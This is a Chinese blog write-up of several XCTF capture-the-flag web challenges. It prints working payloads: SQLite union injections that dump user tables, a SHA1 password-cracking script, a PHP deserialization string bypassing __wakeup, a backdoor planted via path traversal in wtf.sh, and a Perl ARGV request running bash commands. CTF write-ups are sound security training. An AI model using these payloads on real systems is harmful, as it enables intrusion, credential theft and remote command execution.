码迷,mamicode.com
首页 > Web开发 > 详细

攻防世界(XCTF)WEB(进阶区)write up(三)

时间:2019-10-08 23:44:39      阅读:1032      评论:0      收藏:0      [点我收藏+]

标签:exit   weight   hdr   location   div   split   std   扩展名   frame   

挑着做一些好玩的ctf题

技术图片

 

 

 

  

 

 

FlatScience

web2

unserialize3
upload1
wtf.sh-150
ics-04
web i-got-id-200

 

 

 

 

 

 

 

FlatScience

扫出来的login.php

技术图片

 

 

 

查看源码,发现参数debug,传参?debug=1,得到如下代码:

 

<?php 
if(isset($_POST[‘usr‘]) && isset($_POST[‘pw‘])){ 
        $user = $_POST[‘usr‘]; 
        $pass = $_POST[‘pw‘]; 

        $db = new SQLite3(‘../fancy.db‘); 
         
        $res = $db->query("SELECT id,name from Users where name=‘".$user."‘ and password=‘".sha1($pass."Salz!")."‘"); 
    if($res){ 
        $row = $res->fetchArray(); 
    } 
    else{ 
        echo "<br>Some Error occourred!"; 
    } 

    if(isset($row[‘id‘])){ 
            setcookie(‘name‘,‘ ‘.$row[‘name‘], time() + 60, ‘/‘); 
            header("Location: /"); 
            die(); 
    } 

} 

if(isset($_GET[‘debug‘])) 
highlight_file(‘login.php‘); 
?> 

 

 

 

 

开始sqlite3注入。

usr=1‘ union select name,sql from sqlite_master--+&pw=1

技术图片

 

 

 

 

sql字段为sqlite自带的结构表sqlite_master中的一个字段  返回创建表的语句 我们可以有哪些表

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

出现了表名和表中的字段了  具体可以查询字段 

usr=%27 UNION SELECT id, id from Users limit 0,1--+&pw=qing
usr=%27 UNION SELECT id, name from Users limit 0,1--+&pw=qing
usr=%27 UNION SELECT id, password from Users limit 0,1--+&pw=qing
usr=%27 UNION SELECT id, hint from Users limit 0,1--+&pw=qing

 

查询语句的password就是对密码+salt进行了sha1

我们登陆的话应该需要利用sha1函数和salt找出密码

admin的hint是 +my+fav+word+in+my+fav+paper?!,密码很可能就藏在pdf文件

 

爬取站点中所有的pdf文件,总共30个

然后用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码,拿大佬的脚本:

from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec=utf-8, laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, rb) as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == 3fab54a50e770d830c0416df817567662a9dc85c:
                print "Find the password :" + word
                exit()
 
if __name__ == "__main__":
    find_password()

 

admin的密码为:ThinJerboa

技术图片

 

 

 

 

 

 

 

 

 

 

 

 

 

web2

NSCTF

技术图片

 

 

 

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

 

 

 

 

逆出来的代码:

<?php
$str=‘a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws‘;
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 


echo strrev($_o);

?>

 

技术图片

 

 

 

 

 

 

 

 

 

 

 

unserialize3

一道很简单反序列化

<?php

class xctf{ 
public $flag = ‘111‘;
public function __wakeup(){
exit(‘bad requests‘);
}
?code=

 

 

code我们可控   

技术图片

 

 

 

直接把序列化了的传入code显示bad

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

这次传入:

O:4:"xctf":3:{s:4:"flag";s:3:"111";}

技术图片

 

 

 

 

 

 

 

 

 

 

 

 

 

upload1

前端验证不说了

技术图片

 

 

 

 

 

 

 

 

 

 

 

 

wtf.sh-150

csaw-ctf-2016-quals

有点神仙题 后半不看wp做不出来

本来可以登录和评论  测了大把时间登录和留言xss  莫得用

技术图片

 

 

 

 

有参数就fuzz  看看有没有注入之类的 发现是有目录遍历漏洞

技术图片

 

 

 

 

 

发现源码 可是太多了  直接查找和flag有关的那段。

 

技术图片

 

 

 

 

 

源码:

 

<html>
<head>
    <link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains ‘user‘ ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS[‘user‘]}"
$ then
$   local username=$(head -n 1 users/${URL_PARAMS[‘user‘]});
$   echo "<h3>${username}‘s posts:</h3>";
$   echo "<ol>";
$   get_users_posts "${username}" | while read -r post; do
$       post_slug=$(awk -F/ ‘{print $2 "#" $3}‘ <<< "${post}");
$       echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$   done 
$   echo "</ol>";
$   if is_logged_in && [[ "${COOKIES[‘USERNAME‘]}" = ‘admin‘ ]] && [[ ${username} = ‘admin‘ ]]
$   then
$       get_flag1
$   fi
$ fi
</html>

 

 

 

 

看到了admin才可以有flag   源码里发现有user目录

技术图片

 

 

 

发现token值是存储在user目录中的,所以能够进行token伪造
admin:

 Posted by admin ae475a820a6b5ade1d2e8b427b59d53d15f1f715 uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w== 

 

 

第一串东西发现是密码的 sha1,不过对做题没有什么帮助

技术图片

 

 

 

 

 

user参数这里要注意下   多看看f12没得错

 

技术图片

 

 

 

 

接着看到有趣的代码:

function reply {
    local post_id=$1;
    local username=$2;
    local text=$3;
    local hashed=$(hash_username "${username}");

    curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
    next_reply_id=$(awk ‘{print $1+1}‘ &lt;&lt;&lt; "${curr_id}");
    next_file=(posts/${post_id}/${next_reply_id});
    echo "${username}" &gt; "${next_file}";
    echo "RE: $(nth_line 2 &lt; "posts/${post_id}/1")" &gt;&gt; "${next_file}";
    echo "${text}" &gt;&gt; "${next_file}";

    # add post this is in reply to to posts cache
    echo "${post_id}/${next_reply_id}" &gt;&gt; "users_lookup/${hashed}/posts";
}

 

这是评论功能的后台代码,这部分也是存在路径穿越的。

这行代码把用户名写在了评论文件的内容中:

echo "${username}" > "${next_file}";

通过上面的分析:如果用户名是一段可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能够执行我们想要的代码。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为‘$‘的行)

先普通地评论一下,知晓评论发送的数据包的结构,在普通评论的基础上,进行路径穿越,上传后门sh.wtf

 恶意代码 注册时候:

${find,/,-iname,get_flag2}

技术图片

 

 

 

 

 

 

ics-04

普通的注入题而已 略过

Flag:
cyberpeace{f806dac1f9e60f3b2bc4e610cb21d861}

 

 

 

 

 

web i-got-id-200

这道题考察perl语言漏洞

技术图片

 

 

点击Files有个可以上传文件的地方,随便上传一个文件

页面上将文件内容显示了出来

 

技术图片

 

 

 

 

 

看源码知道是pl   perl写的代码

 

技术图片

 

 

 

 

 

 perl上传的代码:

my $cgi= CGI->new;
if ( $cgi->upload( file ) )
{
my $file= $cgi->param( file );
while ( <$file> ) { print "$_"; } }

 

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。

 

而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。

 

ARGV是PERL默认用来接收参数的数组,不管脚本里有没有把它写出来,它始终是存在的。

 

这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。

 

所以尝试构造:

技术图片

 

 

 

多命令执行:

POST /cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| HTTP/1.1
Host: 111.198.29.45:35148
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------238732662231850
Content-Length: 435


-----------------------------238732662231850
Content-Disposition: form-data; name="file"

ARGV

 

技术图片

 

 

技术图片

 

 

 

 

提一下这里的管道符号 将其输出结果用管道传输到读入流中 

 

攻防世界(XCTF)WEB(进阶区)write up(三)

标签:exit   weight   hdr   location   div   split   std   扩展名   frame   

原文地址:https://www.cnblogs.com/-qing-/p/11633586.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!